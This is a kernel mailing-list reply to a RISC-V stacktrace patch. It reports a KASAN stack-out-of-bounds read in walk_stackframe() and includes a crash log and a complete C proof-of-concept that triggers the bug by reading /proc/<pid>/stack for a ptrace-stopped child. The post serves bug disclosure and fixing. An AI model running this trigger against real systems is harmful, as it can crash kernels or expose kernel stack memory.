Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()

From: XIAO WU

Date: Sun Jun 28 2026 - 15:03:14 EST


Hi Jiakai,

I came across the Sashiko AI review of this patch and was able to
reproduce the overflow_stack OOB issue it flagged — a KASAN
stack-out-of-bounds in walk_stackframe() on riscv64 QEMU.

The Sashiko review is at:
https://sashiko.dev/#/patchset/20260625123906.211981-1-xujiakai2025@xxxxxxxxxxx

> @@ -52,19 +56,32 @@ void notrace walk_stackframe(struct task_struct *task, struct pt_regs *regs,
>          pc = task->thread.ra;
>      }
>
> +    if (!task)
> +        task = current;
> +
> +    if (sp >= (unsigned long)task_stack_page(task) &&
> +        sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
> +        high = (unsigned long)task_pt_regs(task);
> +    } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> +        high = (unsigned long)this_cpu_read(irq_stack_ptr) +
> +               IRQ_STACK_SIZE;
> +    } else {
> +        high = (unsigned long)task_pt_regs(task);
> +    }

When the stack pointer falls outside the task stack — for example when
unwinding from the overflow_stack during a stack overflow panic, or
when reading /proc/<pid>/stack for a remote task whose saved SP
happens to be on the overflow_stack — this code falls through to the
`IS_ENABLED(CONFIG_IRQ_STACKS)` branch and uses the IRQ stack boundary
as the upper limit.

The IRQ stack is 32KB (IRQ_STACK_SIZE) while the overflow_stack is
only 4KB (OVERFLOW_STACK_SIZE).  Using the IRQ stack boundary when the
SP is actually on the overflow_stack lets the unwinder read well past
the end of the valid overflow_stack allocation, triggering a KASAN
stack-out-of-bounds.

=== Reproduction ===

Kernel: 6.17.0-rc3-gab53ade87879 #1 PREEMPT
Arch:   riscv64 (qemu-system-riscv64, riscv-virtio,qemu DT)
Config: CONFIG_KASAN=y

Trigger: read /proc/<pid>/stack for a remote task (e.g. via ptrace).

=== Crash Log ===

[  862.045445][ T5937] BUG: KASAN: stack-out-of-bounds in walk_stackframe+0x5c4/0x66e
[  862.046336][ T5937] Read of size 8 at addr ff200000076676c8 by task poc/5937
[  862.048426][ T5937] CPU: 1 UID: 0 PID: 5937 Comm: poc Not tainted 6.17.0-rc3-gab53ade87879 #1 PREEMPT
[  862.048684][ T5937] Hardware name: riscv-virtio,qemu (DT)
[  862.048684][ T5937] Call Trace:
[  862.049044][ T5937] [<ffffffff8008d882>] dump_backtrace+0x2e/0x3c
[  862.049257][ T5937] [<ffffffff8000326e>] show_stack+0x30/0x3c
[  862.049427][ T5937] [<ffffffff80074b88>] dump_stack_lvl+0x11a/0x1b0
[  862.049628][ T5937] [<ffffffff8000ee60>] print_report+0x29a/0x5b8
[  862.049838][ T5937] [<ffffffff80b0f9d8>] kasan_report+0xf0/0x21c
[  862.050031][ T5937] [<ffffffff80b1199a>] __asan_report_load8_noabort+0x12/0x1a
[  862.050267][ T5937] [<ffffffff8008d300>] walk_stackframe+0x5c4/0x66e
[  862.050432][ T5937] [<ffffffff86c65936>] arch_stack_walk+0x1c/0x26
[  862.050644][ T5937] [<ffffffff803e2f88>] stack_trace_save_tsk+0x164/0x1f2
[  862.050867][ T5937] [<ffffffff80e58e28>] proc_pid_stack+0x170/0x282
[  862.051032][ T5937] [<ffffffff80e5adda>] proc_single_show+0xea/0x1ca
[  862.051205][ T5937] [<ffffffff80cbea02>] seq_read_iter+0x438/0x1098
[  862.051585][ T5937] [<ffffffff80c05982>] vfs_read+0x2f0/0xaf8
[  862.052052][ T5937] [<ffffffff80c08184>] ksys_read+0x126/0x238
[  862.052550][ T5937] [<ffffffff86c8deb0>] handle_exception+0x150/0x15c
[  862.053115][ T5937] The buggy address belongs to a 8-page vmalloc region
[  862.093883][ T5937] ==================================================================

=== PoC ===

Build:  riscv64-linux-gnu-gcc -o poc poc.c -static
Run:    ./poc    (on riscv64)

// SPDX-License-Identifier: GPL-2.0-only
// PoC: Trigger KASAN stack-out-of-bounds in walk_stackframe() on RISC-V

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/ptrace.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <linux/perf_event.h>

static const char *prog;

static void fail(const char *msg)
{
    fprintf(stderr, "[FAIL] %s: %s: %m\n", msg, prog);
    exit(1);
}

static void info(const char *msg)
{
    fprintf(stderr, "[INFO] %s\n", msg);
}

static void check_dmesg(const char *label)
{
    char line[4096];
    FILE *f;
    int found = 0;
    f = popen("dmesg 2>/dev/null | tail -200", "r");
    if (!f) return;
    while (fgets(line, sizeof(line), f)) {
        if (strstr(line, "KASAN") ||
            strstr(line, "stack-out-of-bounds") ||
            strstr(line, "walk_stackframe") ||
            strstr(line, "out-of-bounds") ||
            strstr(line, "Oops") ||
            strstr(line, "kernel BUG") ||
            strstr(line, "Kernel panic") ||
            strstr(line, "Call Trace")) {
            if (!found) {
                fprintf(stderr, "\n=== Dmesg output after %s ===\n", label);
                found = 1;
            }
            fprintf(stderr, "%s", line);
        }
    }
    pclose(f);
    if (found) fprintf(stderr, "=== End dmesg ===\n\n");
}

/* Approach: self stack trace with deep directory recursion */
static void try_self_stack_trace(void)
{
    pid_t pid = fork();
    if (pid < 0) return;
    if (pid == 0) {
        char dir[256];
        int i;
        getcwd(dir, sizeof(dir));
        for (i = 0; i < 500; i++) {
            char subdir[300];
            snprintf(subdir, sizeof(subdir), "%s/d%d", dir, i);
            mkdir(subdir, 0755);
            chdir(subdir);
        }
        for (i = 0; i < 1000; i++) {
            FILE *f = fopen("/proc/self/stack", "r");
            if (f) {
                char buf[4096];
                while (fgets(buf, sizeof(buf), f)) { }
                fclose(f);
            }
            char path[64];
            snprintf(path, sizeof(path), "/proc/%d/stack", getpid());
            f = fopen(path, "r");
            if (f) {
                char buf[4096];
                while (fgets(buf, sizeof(buf), f)) { }
                fclose(f);
            }
        }
        _exit(0);
    }
    waitpid(pid, NULL, 0);
    check_dmesg("self_stack_trace");
}

/* Approach: remote task stack trace via ptrace */
static void try_remote_task(void)
{
    pid_t child = fork();
    int status, i;
    if (child < 0) return;
    if (child == 0) {
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0)
            _exit(1);
        raise(SIGSTOP);
        struct timespec ts = { .tv_sec = 1, .tv_nsec = 0 };
        nanosleep(&ts, NULL);
        _exit(0);
    }
    waitpid(child, &status, 0);
    if (!WIFSTOPPED(status)) waitpid(child, &status, 0);
    for (i = 0; i < 100; i++) {
        char path[64];
        FILE *f;
        snprintf(path, sizeof(path), "/proc/%d/stack", child);
        f = fopen(path, "r");
        if (f) {
            char buf[4096];
            while (fgets(buf, sizeof(buf), f)) { }
            fclose(f);
        }
    }
    ptrace(PTRACE_CONT, child, NULL, NULL);
    waitpid(child, &status, 0);
    check_dmesg("remote_task");
}

int main(int argc, char **argv)
{
    prog = argv[0];
    info("=== RISC-V walk_stackframe() stack OOB PoC ===");
    info("Bug: overflow_stack (4KB) unwinding uses IRQ stack bound (32KB)");
    info("");
    system("dmesg -c > /dev/null 2>&1 || true");
    try_self_stack_trace();
    try_remote_task();
    info("Final dmesg check...");
    check_dmesg("final");
    info("PoC completed.");
    return 0;
}

Thanks,
Xiao